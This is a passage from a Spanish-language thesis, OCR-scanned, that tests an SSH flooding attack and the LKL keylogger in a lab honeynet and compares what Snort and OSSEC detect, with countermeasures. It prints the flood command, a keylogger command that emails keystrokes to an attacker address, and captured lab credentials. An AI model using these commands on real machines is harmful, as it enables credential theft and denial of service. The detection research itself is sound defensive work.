Algunas medidas que se pueden tomar para disminuir el riesgo de penetracion serian:

1) Nunca permitir al usuario root (administrador) el acceso remoto, si fuese necesario
acceder para hacer algo con privilegios de administrador, se podria utilizar un usuario
con minimos privilegios y una vez dentro del sistema, efectuar el acceso como
administrador.

2) Utilizar SSH soélo dentro de la red interna, bloqueando el acceso al puerto 22
usando un firewall.

3) Utilizar contrasefias dificiles de adivinar, por ejemplo: que posea mas de 8
caracteres, que sea una combinacion de letras (maytsculas y mintisculas), nimeros y
simbolos.

4.3 Flooding

Como hemos explicado en 3.3.3.1, las organizaciones hacen uso extensivo de los
servicios de Internet a través de su propia infraestructura, con el objetivo de mejorar sus
operaciones y/o reducir sus costos. La falta o inadecuada proteccidon de estos servicios da
lugar a que se lleven adelante este tipo de ataques.

4.3.1 Objetivo

El ataque tiene como principal objetivo, saturar las conexiones al puerto SSH (port
22) provocando de esta manera una denegacion para este servicio.

4.3.2 Motivacion

Un programa ampliamente utilizado por los administradores Linux para poder ejercer
la administracion remota de sus servidores es el SSH". Este ataque impedird que los

13 SSH (Secure Shell) es el nombre de un protocolo y del programa que lo implementa, y sirve para acceder a
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administradores de la organizacion puedan hacer uso de este servicio.
4.3.3 Caracteristicas del ataque

Este ataque abre el mayor niimero de sockets posibles con una maquina remota,
utilizando todos los puertos disponibles del atacante, capturando ~ C y utilizando comandos
para cerrar limpiamente todas las conexiones abiertas antes de salir. Con frecuencia, una
estacion de trabajo remota pueden ser colapsada por saturar sus procesos.
Este ataque estara catalogado por C.A. [Ca04] como DoS y Flooder .
Detalles técnicos del ataque:

- Esun programa elaborado en C, que satura las conexiones a un puerto especifico (por
defecto el puerto 25 (SMTP)). Configurado para atacar al puerto SSH (port 22) por

default (véase codigo fuente en Anexo C.2.1).

« Se utilizé el compilador GCC version 4.2.1 para generar un archivo ejecutable a
partir del codigo fuente.

4.3.4 Resultados

A continuacidon se detallan los resultados obtenidos que fueron realizados en la
topologia II.

A) Topologia I:

— Dado que se trata de un ataque desde un host remoto (perteneciente a otra
red), no corresponde su aplicacion en la Topologia 1.

B) Topologia II:
— Detalle del ataque realizado (punto de vista del atacante).
— Recopilacion de informacion: Archivos de logs, NIDS (Snort), HIDS (Ossec).

- Explicacion de los datos encontrados (punto de vista administrador de
sistemas).

B) Topologia II
Evento de seguridad: Fecha: 28/10/2007, hora inicio: 17:28 fin: 17:35

Precondiciones del ataque:

maquinas remotas a través de una red. Permite manejar por completo la computadora mediante un intérprete de
comandos, y también puede redirigir el trafico de X para poder ejecutar programas graficos si tenemos un
Servidor X. Permite ademas: copiar datos de forma segura (tanto ficheros sueltos como simular sesiones FTP
cifradas), gestionar claves RSA para no escribir claves al conectar a las maquinas y pasar los datos de cualquier
otra aplicacion por un canal seguro mediante SSH.

14 Flooder: Programa que sobrecarga una conexion mediante cualquier mecanismo, tal y como hacer un ping
rapido, y que provoca un ataque DoS.
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1. Lamaquina victima debe estar encendida y funcionando en red.

2. El puerto que se ataca debe estar abierto y visible para el atacante.

Desde la optica del atacante:

Utilizando el programa octopus.c se procede a atacar a la maquina victima.

Obs:

octopusInf - Ejecuta el programa octopus.
192.168.2.102 - la ip de la victima.
22 - puerto atacado (ssh en este caso), por defecto utiliza el 25.

Comando ejecutado por el atacante:

bt Desktop # octopusInf 192.168.2.102 22
Comienzo de la traza:

pid: 5779, desc O

pid: 5779, desc
pid: 5779, desc
pid: 5779, desc
pid: 5779, desc
pid: 5779, desc
pid: 5779, desc 6

corte en la traza del ataque........

pid: 5779, desc 224

pid: 5779, desc 225

continua utilizando puertos disponibles del
atacante...

g w N

Como podemos apreciar durante el ataque, se abren n conexiones al puerto 22

utilizando para ello los n puertos del atacante, provocando la denegacion de servicio del
puerto que es atacado, impidiendo el acceso a este servicio a cualquier usuario, y mostrando
una gran lentitud en el desempefio de la maquina virtual.
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Desde la optica del administrador:

Snort NIDS:

Se observa que Snort (véase Figura 23) no encontrd ninguna anomalia con respecto al
ataque, obviamente esto sucede ya que el trafico de red es valido y lo unico que hace es
solicitar peticiones al puero SSH (port 22) para efectuar un ingreso al sistema remoto.

) Apicaciones Lugares sisema @@ EH T ] % & W 1759 Q)
) SNORT Report - Mozilla Firefox - o X
Archivo Edtar Ver Ir Marcadores Herramientas Ayuda o
@ - - & ) &) [D nteiecanostsnorREpalerts phpTeginTime=1HgendTime=-1 I+ er (& ]

fRelease Notes §3 Fedora Project || Fedora WeeKly News () Community Support ()Fedora Core 6 ®JRed Hat Magazine

Day 5

Detail by Signatures

Terminado

[ [ troot... | & troot.. (& froot... | froot... || 5 10EMU) | 1QEMU] [ fBand... | (xvs... | @ sno... |
Figura 23: Informe del NIDS Snort sobre el ataque efectuado.
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Ossec HIDS:

OSSEC - Web Interface

Main | Search | Integrity checking | Stats | OSSEC Site | About

Ociober 8 2007 03:35:41 FM

Available agents: Latest modified files:

+ossec-gerver (127.0.0.1) +/uzrbin/php
+/usrbiniphp-cgi
+letc/aliases.db
+/ete/zsh/zshd_config
+/etz/prlink.cache

Latest events

2007 Oct 28 17:31:59 Rule Id: 5706 level: &
Location: localhost-=/varlog/secure
SSHi ti ttempt (scan).

Ot 28 17:31:56 bealhost sshd[3949]: Did not mceive identification string from 192.168.2.100

2007 Oct 28 17:30:45 Rule Id: 5706 level: &
Location: localhost-=/varlog/secure
S5Hi ti ttempt (scan).

Oct 28 17:30:44 bcalhost sshd[3920]: Did not mceive identification string from UNKNOWH

2007 Oct 28 17:23:42 Rule Id: 1002 level: 7
Location: localhost-=/varlog/messages

Unknown probl b in the syst

Oct 28 17:23:42 bealhost kemeal: audit(1 193803022 231 :27): ave: denied { mad } forpid=3484 comm="htlpd" name="tmp" dev=dm-0 ino=G48221
scontext=mot:system_rhttpd_t=0 tcontext=motobject_ruser_home_t:=0 tolass=dir

2007 Oct 28 17:23:42 Rule Id: 1002 level: 7

Location: localhost-=/varlog/messages

Unknown probl b in the syst

Oct 28 17:23:41 bcalhost kemel: audit(1 193603021 .811:26): avc: denied { getattr} forpid=3598 comm="sh" name="osssc-wul' dev=dm-0 ino=647157
scontext=mot:syste m_rhitpd_sys_script_t:=0 teontext=motobject_russr_home_t:sl tohss=dir

2007 Oct 28 17:23:42 Rule Id: 1002 level: 7
Location: localhost-=/varlog/messages
Unknown probl b in the syst

Figura 24. Informe del HIDS Ossec sobre el ataque efectuado.

Se puede ver que el HIDS muestra un extrafio evento “SSH insecure connection
attempt (scan)” (véase Figura 24), lo que encontré el HIDS es el intento de establecer
conexiones al puerto SSH, comunicando ademas que no esta recibiendo la cadena de
validacion (es decir, la “cadena alfanumérica” con el usuario y contrasefia que pide el SSH
cuando queremos ingresar al servicio).

Logs del sistema:

var/log/secure:

El error que muestra el HIDS denota que el servicio de SSH no recibe informacion
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acerca de la cadena para poder ingresar. Por otro lado, es importante destacar que el
archivo de logs brinda informacioén acerca de la direccion IP desde donde se intenta efectuar
la comunicacion.

Oct 28 17:30:44 localhost sshd[3920]: Did not
receive identification string from UNKNOWN

//continta
Oct 28 17:31:56 localhost sshd[3949]: Did not
receive identification string from

192.168.2.100

Oct 28 17:31:56 localhost sshd[3956]: Did not
receive identification string from UNKNOWN
//continta

Oct 28 17:32:15 localhost sshd[3963]: Did not
receive identification string from UNKNOWN

//continta

Oct 28 17:32:32 localhost sshd[3983]: Did not
receive identification string from
192.168.2.100

//continta

Oct 28 17:32:32 localhost sshd[3975]: Did not
receive identification string from

192.168.2.100

Oct 28 17:32:32 localhost sshd[3982]: Did not
receive identification string from UNKNOWN
//continta

Oct 28 17:32:48 localhost sshd[3988]: Did not
receive identification string from UNKNOWN
Oct 28 17:32:48 localhost sshd[3986]: Did not

receive identification string from
192.168.2.100
//continta

Oct 28 17:34:23 localhost sshd[4008]: Did not
receive identification string from UNKNOWN
//continta

Oct 28 17:34:40 localhost sshd[4017]: Did not
receive identification string from UNKNOWN
Oct 28 17:34:41 localhost sshd[4016]: Did not
receive identification string from UNKNOWN
Oct 28 17:34:41 localhost sshd[4015]: Did not
receive identification string from
192.168.2.100

4.3.5 Analisis de los resultados

De los datos obtenidos por las herramientas dispuestas en la Honeynet, podemos
concluir que el NIDS no nos aporta datos sobre el ataque, esto se debe a que el patron de
tramas que circula por la red virtual son considerados como validos por el IDS y realmente lo
son, ya que corresponden a intentos de establecer una conexion con un servicio valido.
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Por otro lado, cuando las peticiones llegan a la maquina victima notamos que el HIDS detecta
que el usuario que esta intentando establecer la conexion con el servicio, no esta ingresando
los datos de identificacion (usuario y contrasefia). Pero este dato no es menor, ya que si tantas
conexiones en tan poco tiempo acusan ese problema estamos frente a un problema de
seguridad, y esta es la interpretaciéon que necesitamos obtener para comenzar a estudiar el
problema.

4.3.6 Contramedidas

De lo expuesto anteriormente, se desprende que es importante no fiarse de las
fortalezas de una tnica herramienta, sino que debe ponerse en practica controles que nos
permitan monitorear y proteger de manera mas adecuada cada una de las entradas al sistema
expuesto.

Algunas medidas que se pueden tomar para disminuir los riesgos de penetracion
serian:

1) Utilizar un firewall para restringir o bien cerrar el puerto para el uso externo.
2) Nunca utilizar el servicio con usuario root/administrador.

3) Configurar el IDS para tomar medidas frente a esta clase de ataques, en nuestro caso
OSSEC provee la posibilidad efectuar “respuestas activas”, utilizando para ello un
demonio llamado ossec-excd. Por ejemplo nos permite efectuar: Denegacion de
acceso al host; ejecutar determinadas reglas de iptables (seria util para cerrar el
servicio para determinada IP), entre otras.

4) Otra posibilidad es utilizar nuestro HIDS (OSSEC) configurando el demonio ossec-
maild, que frente a algin problema alerta al administrador envidndole un email en el
momento que ocurre el problema.

5) No utilizar el servicio.

4.4 Linux Key Logger

Cuando se interactiia con computadoras, se utilizan diferentes tipos de dispositivos
(cominmente diferentes tipos de periféricos) que funcionan como interfaz entre la maquina y
el individuo que la utiliza. Este ataque, se basa en extraer informacion que es introducida por
el usuario a través de una interfaz de teclado.

4.4.1 Objetivo

Capturar toda la informacion que la victima ingrese por el teclado con el fin de
obtener informacion sensible para un posterior ataque o bien por el simple hecho de obtener
datos privados.

4.4.2 Motivacion

El propoésito de este ataque es obtener toda la informacidon que el usuario escribe al
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utilizar la computadora, dandole la posibilidad al atacante de obtener informacion sensible
para realizar luego uno o mas ataques mucho mas especificos, como pueden ser: acceder a
cuentas de correo electronico, conocer las paginas que visita, acceder al Home Banking
utilizando usuario y contrasefa legitimos, entre otros.
4.4.3 Caracteristicas del ataque
Detalles técnicos del ataque:

« Software LKL (Linux Key Logger).
4.4.4 Resultados

A continuacidn se detallan los resultados obtenidos que fueron realizados en cada una
de las topologias.

A) Topologia I:
— Detalle del ataque realizado (punto de vista del atacante).
- Recopilacion de informacion: archivos de logs, NIDS (Snort), HIDS (Ossec).

— Explicacion de los datos encontrados (punto de vista administrador de
sistemas).

B) Topologia II:
— Detalle del ataque realizado (punto de vista del atacante).
— Recopilacion de informacion: archivos de logs, NIDS (Snort), HIDS (Ossec).

- Explicacion de los datos encontrados (punto de vista administrador de
sistemas).

A) Topologia |
Evento de seguridad: Fecha: 30/10, hora inicio: 1:10 fin: 1:20
Precondiciones del ataque:

1. Logra comprometer la maquina de la victima e instala y configura el programa para
que se ejecute el programa LKL cada vez que el usuario ingresa al sistema, para
poder recibir toda la informacion que el usuario ingresa por el teclado.

2. El usuario “victima” puede enviar correo electronico.

Breve explicacion del funcionamiento del software:

Obs: 1kl- Corresponde al comando para ejecutar el programa.
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-1 - Efecttia log en el puerto del teclado (0x60).

-k - <km_file> damos la ruta del “key map” que viene con la aplicacion.

-0 - Especificamos el nombre y extension del archivo log que se genera.

-m - Especificamos la direccion de correo electronico donde se enviaran los

datos recogidos por la aplicacién.

Utilizando el programa LKL y el archivo de mapeos de codigo ASCII “KEY MAP” se
procede a efectuar el ataque a la maquina victima.

Comando ejecutado:

[root@localhost bin]# 1kl -1 -k
/root/Desktop/lkl/keymaps/it km -o log.file -
m hfernandez@sumicomp.com
Started to log port 0x60. Keymap is
/root/Desktop/lkl/keymaps/it km. The logfile
is log.file.

Obs 2: Aqui podemos ver como la aplicacion comenzo su funcionamiento.

sending logs to hfernandez@sumicomp.com via
127.0.0.1 (operacidn realizada luego de
recolectar la cantidad de datos).

Obs 3: Por defecto, la aplicacion envia datos al atacante cada 1 kbyte de informacion
recopilada y continta su funcionamiento. Este aviso, nos muestra que se han enviado por
email los datos al atacante.
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Desde la optica del atacante:
Simulando una navegacion normal y el uso cotidiano de la PC de escritorio, ser

mostraran los resultados del ataque, para algunos ejemplos seleccionados. Se ejecutd un
navegador de Internet y se visitaron varias paginas (véase Figura 25), por ejemplo la siguiente

B Aplicaciones Lugares Escritorio @@ @% 01:15 @

Archivo Editar Ver Ir Marcadores Heramientas Ayuda

QEI - L{) - @ |:| @ [Y! https://login.yahoo.com/config/login_verify2?.intl=ar& BIE] @l

Latest Release Notes | | Fedora Project || Fedora Weekly News |~ Community Support |~)Fedora Core 5 »
Yahaoo! - Ayuda =
Y&HOO! CORREO
ARGENTIRA
Contrasefia:|
— Prevencion
2 ¢No tenés de Robe
* Capacidad ilimitada. cuenta?
P . s g Es facil obtener \—
3 #| Memoria sin fin. una.
Correo Yahoo! te da capacidad Inscribite
ilimitada totalmente gratis.
¢ Ya tenés una cuenta Yahoo!?
Entrar
| ' B
Alertas de Correo Yahoo!. X N lhugoanqn
Configuré gratis las alertas de correo en Yahoo! Messenger y i )
Contrasena:
sabras de inmediato cuando llegus un mensaje atu cuenta.
MNarton
Avanzada proteccion AntiVirus. AntiVirus | [ Seguirconectado
durante 2 semards a no ser gue salga
Correo Yahoo! analiza y limpia los archivos adjuntos para evitar T —
que los detestables virus afecten tu computadora. [Desactivar encomputadoras [v]
Terminado login.yahoo.com | &
|3 [root@localhost:fustfocalf... || @ OSSEC Web Interface - O... || @ Entrar en Yahoo! - Mozilla ... | B B

Figura 25: Victima ingresa a su webmail.

de yahoo.com correspondiente al webmail de la victima.

Luego de navegar durante un tiempo relativamente corto y tipear la cantidad de
kilobytes necesarios, se envia un correo electronico al destinatario (atacante), sin el
consentimiento del usuario (véase Figura 26).
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£ Apiicaciones Lugares Sistema @S\ H B El
(= Bandeja de entrada (1 en total) - Evolution
Archivo Edtar Ver Carpeta Mensaje Buscar Ayuda

B, @ | & & B | a8 @ & o [

Nuevo Enviar / Recibir | Responder Responderatodos Reenviar | Imprimir  Borrar Spam Cancelar

[

& & 013 Q)

EIEIE

[ Bandeja de e... 1entotal Mostrar: | Todos los mensajes 5 Buscar: [@ El asunto o el remitente leg [ Carpeta actual

~ En este equipo - T —
gigi@tin it No Subject

&> Bandeja de entrada
@ Bandeja de salid...
£ Borradores

Fecha -

Correo enviado De: gigi@tin it
@ Papelera Asunto: No Subject
) spam Fecha: Tue, 30 Oct 2007 01:19:33 -0300
v Carpetas de biisqueda wii<DeT><Del>uui. bpn . com. ar<Ret>
£3 No coincidente usurio<Tab><Shift=banco<Ret>
<Ret>
123456ww. yahkP2<Ret>
<Ret>

KPMKPTKP LKP1KPTKP . KP.KP. KP.KP.KP.KP.KP.KP.KP.captura bnco<Ret>

www . gmil. com<Ret>

hfernnw<Del><Del>andez.teis<Alt>gmail.co<Tab>hugotesis<Ret>

KPMKPTKP . KP.KP.KP.KP.KP.KP.KP.KP.KP.captura gmil<Ret>

Wi hKP2<Rets>
hugoferndeznn<Del>gn<Tab>seek500coc L39KPMKP7KP . KP . KP . KP.KP . KP . KP.KP.KP.KP.catura yho<Ret>
<Ret>

hugo<Shift>_ fenaezng<Tab>seek500coc139KPMKP7KP . KP.KP.KP.KP.KP.KP.KP.KP.KP.captura yaho 2<Ret>
<Ret>

todo lo que <Del>se est viendo ahora esta iend scito en la consaol a dlnux<Ret=>
mspreciamen el<Del><Del>n bash<Ret>

KPMKP7KP. KP.KP.KP.KP.KP.KP.KP.KP.KP.entrada ayahoo<Ret=
dsfdfsfd<Ret>

f<Ret>

d<Ret>

f<Ret>

d<Ret>

<Ret>

s<Ret>

d=<Ret>

<Ret>

d<Ret>

sddf<Ret>

ss<Ret>

d<Ret>

escriimos cial<Del><Del=<Del=<Del><Del>calquercos<Ret>
jFskhdfjTkjf<Ret>

ds<Ret>

fd<Ret>

dd<Ret>

vaos cmpletre k<Del>kbyte para gy<Del><Del> sea envia a casilla de mail correspodin<Del>te<Ret>

D] D) R

==

@ [ 2 root@loc... | & [root@ioc... || 3 root@ioc...|[ 3 rroot@ioc... || (Qemu |[ I rqemuy  |[ & snoRT... [ (xmms .. [ D [ - Login

... @ Bangeja ... | F] @

Figura 26: Email recibido por el atacante luego de cumplidos los n kbytes.

Explicacion de los datos en el cuerpo del e-mail:

www<Del><Del>www.bpn.com.ar<Ret>
Va a la pagina del BPN
usuario<Tab><Shift>banco<Ret>
<--- escribe usuario

<Ret>

123456www.yahKP2<Ret>

<--- escribe contrasefia, luego va a la pag.

de yahoo
<Ret>

KPMKP7KP1KP1KP7/KP.KP.KP.KP.KP.KP.KP.KP.KP.KP.

captura bnco<Ret>
WWw.gmil.com<Ret>

<--- Simulténeamente a la pagina de gmail

hfernnw<Del><Del>andez.teis<Alt>gmail.co<Tab>

hugotesis<Ret>

KPMKP7KP.KP.KP.KP.KP.KP.KP.KP.KP.KP.captura
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gmil<Ret>

www . hKP2<Ret>
hugoferndeznn<Del>qgn<Tab>seek500cocal 39KPMKP7
KP.KP.KP.KP.KP.KP.KP.KP.KP.KP.catura vyho<Ret>

—————= Aqui volvidé a yahoo e ingresd usuario
y contrasefla

<Ret>

hugo<sShift> fenaezng<Tab>seek500cocl39KPMKP7K
P.KP.KP.KP.KP.KP.KP.KP.KP.KP.captura yaho
2<Ret>

<Ret>

todo lo que <Del>se est viendo ahora esta
iend scito en la consaol a dlnux<Ret>
mspreciamen el<Del><Del>n bash<Ret>

vaos cmpletre k<Del>kbyte para gy<Del><Del>

sea envia a casilla de mail
correspodin<Del>te<Ret>
<=—m———— Datos ingresados en la

consola bash
KPMKP7KP.KP.KP.KP.KP.KP.KP.KP.KP.KP.entrada
ayahoo<Ret>
dsfdfsfd<Ret>
f<Ret>

d<Ret>

f<Ret>

d<Ret>

<Ret>

s<Ret>

d<Ret>

d<Ret>

escriimos
cial<Del><Del><Del><Del><Del>calquercos<Ret>
Jfskhdfjfkjf<Ret>
ds<Ret>

fd<Ret>

dd<Ret>

fdsd<Ret>

d<Ret>

f<Ret>

s<Ret>

En el caso de acceso a la pagina web de yahoo se puede distinguir claramente el
nombre de usuario y contrasefia utilizados por la victima.

Usuario = hugofernandezngn (noétese que el usuario se equivoco y se puede ver como borrd
dos caracteres y lo volvi6 a escribir para su correccion, véase etiqueta <DEL>)

Contrasefia = seek500cocal39
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Luego de ingresar los datos y que sean validados por el servidor de correo de yahoo,
vemos como el usuario ingresa con éxito a su correo electrénico y continia con el resto de sus
operaciones.

eApIicaciones Lugares Sistema Q‘Qg' g % . 6 o01:27 ¢)
) SNORT Report - Mozilla Firefox

Archivo Editar Ver Ir Marcadores Herramientas Ayuda (:)
@ 9-&0 H0m Plalerts phpPbeginTime=Day%3A&endTime=24HGx=18&y=16 I+ or & ]

¥ Release Notes fjFedora Project DFedura Weekly News (] Community Support | Fedora Core 6 'Red Hat Magazine

Day: j

Detail by Signatures

Terminado

9@
Iroot@ioc... [ 3 [root@loc... | & [root@iec...|[ @ rocteioc...| [ (@emu [0 (gemu) (@ sNORTR... | [ pxs -.. [ [ataques... | @ [--Logn...| @I @
Figura 27: Informe de estado de eventos de seguridad de Snort.

Desde la optica del administrador:

Snort NIDS: Podemos ver que el NIDS no ha detectado ningun tipo de anomalia
aparente, debido a que el unico trafico de red es la salida de un email que tiene como destino
al atacante (véase Figura 27).

Ossec Web Interface:

Podemos ver que el HIDS (véase Figura 28) s6lo nos muestra los siguientes datos
recopilados de los archivos de logs hasta las 00:37:43, a pesar que estuvo en funcionamiento
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hasta el final del ataque.

Log general del sistema:

OSSEC - Web Interface

Main | Search | Integrity checking | Stats | OSSEC Site | About

Ooiober 30h 2007 012234 AN

Available agents: Latest modified files:

+ossec-mener (127.0.0.1) +ietc/alasss.db
+letcisyaconfigine two k-scriptalifcfg-at..
+/etcisysconfiginetwo king/p mfilksidefa..
+ietoisyaconfiginetwoking devices/ifcfg..
+ietc/maot.conf.predhclient

Latest events

2007 Oct 30 00:37:43 Rule Id: 31101 level: 5

Location: localhost-=/etc/httpd/logs/access_log

Web server 400 error code.

127.0.0.1 - - [B0/0ct/2007 :00:37:42 0300] "GET/ HTTP/A 1" 403 3931 "-" "Mozila/5.0 (%11; U; Linux 886; e=-ES; nv:1.8.0.1 ) Gecko/20060313
Fedomi1 5.0.1-0 Firefox1 5.0.1 pango-text

2007 Oct 30 00:37:43 Rule Id: 31101 level: 5

Location: localhost-=/var/log/httpd/access_log

Web server 400 error code.

127.0.0.1 - - [B0/0ct/2007 :00:37:42 0300] "GET/ HTTP/A 1" 403 3931 "-" "Mozila/5.0 (%11; U; Linux 886; e=-ES; nv:1.8.0.1 ) Gecko/20060313
Fedom/1 .5.0.1-0 Fiefox1.5.0.1 pango-text”

2007 Oct 30 00:36:55 Rule Id: 1002 level: 7

Location: localhost-=/var/log/messages

here in the syst

Unknown p
Oct 20 00:36:54 lcalhost kemel: auditil 19371541 4 266:50): ave: denied { read } for pid=4228 comm="htipd" name="tmp" dev=dm0 ino=648221
scontext=motsystem_rhtpd_t:=D tcontext=motobject_russr_home_ts=0 tochss=dir

2007 Oct 30 00:36:55 Rule Id: 1002 level: 7

Location: localhost-=/var/log/messages

Unknown probl h in the syst

Oct 20 00:36:54 bcalhost kemel: audit(1193715414.274:40): ave: denied { getattr} forpid=4236 comm="sh" name="ossec-wul' dev=dm0 ino=E47157
scontest=motsystem_rhttpd_sys_scrpt_t:s0 teontext=motobject_russr_home_ts0 tolhss=dir

2007 Oct 30 00:36:55 Rule Id: 1002 level: 7

Figura 28: Informe de estado de eventos de seguridad Ossec (parte I).

var/log/messages: Correspondiente a la fecha y hora del ataque, no se encuentra nada de
interés con respecto al ataque.

Oct 29 23:51:08 localhost kernel:
audit (1193712668.158:43) : ave: denied
{ getattr } for pid=3740 comm="sh"
name="ossec-wui" dev=dm-0 ino=647157

scontext=root:system r:httpd sys script t:s0
tcontext=root:object r:user home t:s0
tclass=dir

Oct 30 00:36:53 localhost kernel:
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audit (1193715413.854:44) : avc: denied
{ getattr } for pid=4228 comm="httpd"
name="ossec-wui" dev=dm-0 ino=647157

scontext=root:system r:httpd t:s0
tcontext=root:object r:user home t:s0
tclass=dir

Oct 30 00:36:53 localhost kernel:
audit (1193715413.870:45) : avec: denied
{ search } for pid=4228 comm="httpd"
name="ossec-wui" dev=dm-0 ino=647157

scontext=root:system r:httpd t:s0
tcontext=root:object r:user home t:s0
tclass=dir

Oct 30 00:36:53 localhost kernel:
audit (1193715413.870:46) : avc: denied
{ getattr } for pid=4228 comm="httpd"
name="index.php" dev=dm-0 ino=648061

scontext=root:system r:httpd t:s0
tcontext=root:object r:user home t:s0
tclass=file

Oct 30 00:36:53 localhost kernel:
audit (1193715413.882:47) : ave: denied
{ read } for pid=4228 comm="httpd"
name="index.php" dev=dm-0 ino=648061

scontext=root:system r:httpd t:s0
tcontext=root:object r:user home t:s0
tclass=file

Oct 30 00:36:54 localhost kernel:
audit (1193715414.274:48) : avce: denied
{ search } for pid=4236 comm="sh"
name="ossec-wui" dev=dm-0 ino=647157

scontext=root:system r:httpd sys script t:s0
tcontext=root:object r:user home t:s0
tclass=dir

Oct 30 00:36:54 localhost kernel:
audit (1193715414.274:49) : ave: denied
{ getattr } for pid=4236 comm="sh"
name="ossec-wui" dev=dm-0 ino=647157

scontext=root:system r:httpd sys script t:s0
tcontext=root:object r:user home t:s0
tclass=dir

Oct 30 00:36:54 localhost kernel:
audit (1193715414.366:50) : ave: denied
{ read } for rid=4228 comm="httpd"
name="tmp" dev=dm-0 ino=648221

scontext=root:system r:httpd t:s0
tcontext=root:object r:user home t:s0
tclass=dir

Oct 30 01:21:53 localhost kernel:
audit (1193718113.590:51) : avc: granted
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{ execmem } for pid=1897 comm="nautilus"
scontext=root:system r:unconfined t:s0-
s0:c0.c255

tcontext=root:system r:unconfined t:s0-
s0:c0.c255 tclass=process

B) Topologia I
Evento de seguridad: Fecha: 28/10, hora inicio: 21:53 fin: 22:05
Precondiciones del ataque:

1. Logra comprometer la maquina de la victima e instala y configura el programa para
que se ejecute el programa LKL cada vez que el usuario ingresa al sistema, para
poder recibir toda la informacion que el usuario ingresa por el teclado.

2. Elusuario “victima” puede enviar correo electronico.

Breve explicacion del funcionamiento del software:

Obs: 1kl- Corresponde al comando para ejecutar el programa.

-1 - Efectaa log en el puerto del teclado (0x60).

-k - <km_file> damos la ruta del “keymap” que viene con la aplicacion.

-0 - especificamos el nombre y extension del archivo log que se genera.

-m - Especificamos la direccion de correo electronico donde se enviaran los

datos recogidos por la aplicacion.

Utilizando el programa LKL y el archivo de mapeos de codigo ASCII “KEYMAP” se
procede a efectuar el ataque a la maquina victima.

Comando ejecutado:

[root@localhost bin]# 1kl -1 -k
/root/Desktop/lkl/keymaps/it km -o log.file -
m hfernandez@sumicomp.com

Started to log port 0x60. Keymap is
/root/Desktop/lkl/keymaps/it km. The logfile
is log.file.

Obs 2: Aqui podemos ver como la aplicacion comenzo su funcionamiento.
sending logs to hfernandez@sumicomp.com via
127.0.0.1 (operacidn realizada luego de

recolectar la cantidad de datos).

Obs 3: Por defecto, la aplicacion envia datos al atacante cada 1 kbyte de informacion
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recopilada y continta su funcionamiento. Este aviso, nos muestra que se han enviado los

datos al atacante.

Desde la optica del atacante:

Simulando una navegacion normal y el uso cotidiano de la P.C. de escritorio, se
mostraran los resultados del ataque, para algunos ejemplos seleccionados. Se ejecutd un
navegador de Internet y se visitaron varias paginas, por ejemplo: Pagina web del Banco Prov.

de Neuquén y la del sitio web Gmail para ingresar al correo de la victima.

Este es el email que recibe el atacante en este nuevo ataque, utilizando la segunda

topologia:

From:gigi@tin.it
Date:Sun, October 28, 2007 9:27 pm
Priority:Normal

Options: View Full Header | View Printable
Version | Download this as a file
<Ret>

<Del>empezaos el atag vy tods lodat

scribi<Del><Del><Del><Del>seescrien n
<Del><Del><Del>son dos a una
e<Del><Del>de aui<Del><Del>il<Ret>

la<Del><Del>ao<Del><Del><Del><Del>vamo
envando <Del><Del><Del><Del>envr 1ls ato
ldstntas

<Del><Del>vmos cce<Del>d a
ginas<Ret>
esto<Del>y

vemos<Del><Del><Del><Del><Del>rems<Del>0

c<Del><Del><Del><Del>os

que

cuenta

ir

ueas

uurio cin<Del><Del><Del><Del>conrase<Del>das

son a<Del>enados aunue lo dato

<Del><Del><Del><Del><Del>1ls pinas
d<Del>seas<Del>n https<Ret>

vamos a ccdera bpn<Ret>
<Del><Del>www.bpn.com.ar<Ret>................
................. <---- Va a la pagina del BPN

miusuario<Tab>123456KPMKP7KP.KP.KP.KP.KP.KP.K
P.KP.KP.KP.ingreso a lapai<Del>gina el
Pnco<REet > . i e e e e
....... <--- escribe usuario y contrasefa
www.gmal.com<Ret>......... ittt innenenn
............... <---- Va a la pagina del gmail
<Alt>NULLhfernandez.teis<Tab>hotesisKPMKP4KP4
KP4<Del><Del>ingres a

ga<Del><Del>mail.<Ret>
KPMKP7KP.KP.KP.KP.KP.KP.KP.KP.KP.KP.dentro de
gmail<Ret>
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www.yahoo.co.a<Ret>

hugp<Del>o<Shift> fernanezng<Tab>gwerty<Ret>
<- Ingresa usuario y contrasefla de gmail
KPMKP4KP4KP.KP.KP.KP.KP.KP.KP.KP.KP.KP.ingres
o yahoo<Ret>

ok<Ret>

y hemp<Del><Del>o pasadoo ucas pgins
<Del><Del><Del>

Desde la optica del administrador:
Snort Nids:

Al igual que en la topologia I, podemos apreciar que el resultado es el mismo debido
a que el tnico trafico de red generado es un email enviado al atacante.

Ossec Web Report:

Podemos ver que el HIDS sélo nos muestra los siguientes datos recopilados de los
archivos de log, sin embargo no encontré ninguna actividad anormal. Al igual que en la
topologia anterior el HIDS, tanto en Figura 29

OSSEC - Web Interface

Main | Search | Integrity checking | Stats | OSSEC Site | About

Ooiober ZEN 2007 10:1108 PR

Available agents: Latest modified files:
+ossec-ssnver (127.0.0.1) +iusrbin/php

+/usrbiniphp-cgi
ete/alases.db

+/atcisshisshd_canfig
+ieteiprelink cachs

Latest events

2007 Oct 28 22:11:06 Rule Id: 502 level: 3
Location: localhost->o0ssec-monitord
Ossec server started.

osssc: Osssc started

2007 Oct 28 20:58:17 Rule Id: 1002 level: 7
Location: localhost-=/arlog/messages

L in the

Oct 28 20:58:17 kocalhost kemel: audit(1 193615897 028:51 ) ave: denisd { mad } for pid=6053 comm="htpd” name="tmp" dev=dm-0 ino=648221
scontext=motsystem_rhitpd_t:s0 teo ntext=motobject_ruser_home_t:s0 tokhss=dir

2007 Oct 28 20:58:17 Rule Id: 1002 level: 7

L ion: localhost-=Aariog:
L inthe sy

DOct 28 20:58:16 kcalhost kemel audit(l 193815898.704:50): ave: denied { getattr} for pid=7866 comm="sh" name="ossec-wul' dev=dm-0 ino=847157
scontext=motsystem_rhtipd_sys_script_t=0 tcontext=motobject_russr_home_ts0 tckass=dic

2007 Oct 28 20:58:17 Rule Id: 1002 level: 7

Location: localhost-=/arlog/messages

L inthe sy

Oct 28 20:58:16 kocalhost kemel: audit(1 193615896 704:49): ave: denisd { s=arh } for pid=7666 comm="sh" nams="osssc-wul’ dev=dm-0 ino=647157
scontext=mot:syste m_rhitpd_sys_script_t:=0 tcontext=mot:object_russr_home_t:s0 tolass=dir

2007 Oct 28 20:58:15 Rule Id: 1002 level: 7

L ion: localhost-=Aariog:

Figura 29: Informe de estado de eventos de seguridad de Ossec (Parte I1).
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como en Figura 30, no se encuentra ningun patrén irregular que permita deducir algin evento
de seguridad.

